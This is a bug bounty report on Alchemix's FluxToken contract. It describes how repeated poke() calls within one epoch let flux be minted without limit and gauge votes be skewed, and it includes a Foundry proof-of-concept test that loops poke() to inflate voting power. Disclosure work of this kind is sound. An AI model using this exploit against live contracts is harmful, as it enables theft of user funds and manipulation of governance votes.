31541 - [SC - Critical] FluxTokens unlimited mint and Exploitation of g...

Submitted on May 21st 2024 at 04:17:49 UTC by @cryptoticky for Boost | Alchemix

Report ID: #31541

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol

Impacts:

  • Theft of unclaimed yield

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

  • Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

Description

Brief/Intro

FluxToken's unlimited mint and Exploitation of gauge voting results using it

Vulnerability Details

  1. The Poke function can be executed several times within an epoch.

  2. The poke function calls Voter._vote function and _vote function calls IFluxToken(FLUX).accrueFlux(_tokenId).

FluxToken.accrueFlux

/// @inheritdoc IFluxToken
    function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }

This function does not check for multiple calls within one epoch.

Impact Details

1. mint a substantial quantity of flux tokens

As soon as a user calls the poke function, the value of unclaimedFlux increases. Consequently, an attacker can obtain an unlimited amount of flux tokens. The attackers can wait until their locked bpt expires and then withdraw, enabling them to mint a substantial quantity of flux tokens.

Alternatively, they can withdraw before expiration. In this case, the profits gained by the attacker far outweigh any applicable penalties.

2. Secure the majority of the reward tokens

Simultaneously, the attacker can use the acquired flux tokens to obtain a significant voting boost. As a result, the attacker can secure the majority of the reward tokens.

Recommendation

According to the epoch, it is necessary to modify the acrueFlux function so that users can receive flux for each epoch.

Proof of Concept

// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract BugPokePoC is BaseTest {

    function setUp() public {
        setupContracts(block.timestamp);
    }

    // An attacker can use Voter.accrueFlux function to mint the fluxToken indefinitely.
    function testBugAccrueFlux() public {
        address attacker = beef;
        uint256 tokenId = createVeAlcx(attacker, TOKEN_100K, MAXTIME, false);

        address bribeAddress = voter.bribes(address(sushiGauge));
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;


        hevm.prank(attacker);
        voter.vote(tokenId, pools, weights, 0);

        hevm.warp(newEpoch());
        voter.distribute();

        console.log("before flux amount: ", flux.balanceOf(attacker));

        {
            hevm.startPrank(attacker);

            uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
            uint256 oldUnclaimedFlux = unclaimedFlux;
            console.log("unclaimedFlux: ", unclaimedFlux);

            // designed max totalPower
            uint256 totalPower = veALCX.balanceOfToken(tokenId) + unclaimedFlux + veALCX.claimableFlux(tokenId);

            console.log("correct max totalPower: ", totalPower);

            for(uint256 i; i < 5; i++) {
                voter.poke(tokenId);
                unclaimedFlux = flux.getUnclaimedFlux(tokenId);
                console.log("unclaimedFlux: ", unclaimedFlux);
            }

            hevm.warp(newEpoch());
            voter.distribute();

            console.log("correct max totalPower: ", veALCX.balanceOfToken(tokenId) + oldUnclaimedFlux + veALCX.claimableFlux(tokenId));

            console.log("misused max totalPower: ", veALCX.balanceOfToken(tokenId) + unclaimedFlux + veALCX.claimableFlux(tokenId));

            voter.vote(tokenId, pools, weights, unclaimedFlux + veALCX.claimableFlux(tokenId));

            hevm.warp(newEpoch());
            voter.distribute();

            //It takes a considerable amount of time to implement this block, so I blocked it for now.
            //If is not enough due to the current code, you can open and run the blocked code.
            {
//            hevm.warp(block.timestamp + MAXTIME);
//
//            veALCX.startCooldown(tokenId);
//
//            hevm.warp(block.timestamp + 1 weeks + 1);
//
//            voter.reset(tokenId);
//            veALCX.withdraw(tokenId);
//            console.log("after flux amount:  ", flux.balanceOf(attacker));
            }
            hevm.stopPrank();
        }
        
    }
}

Last updated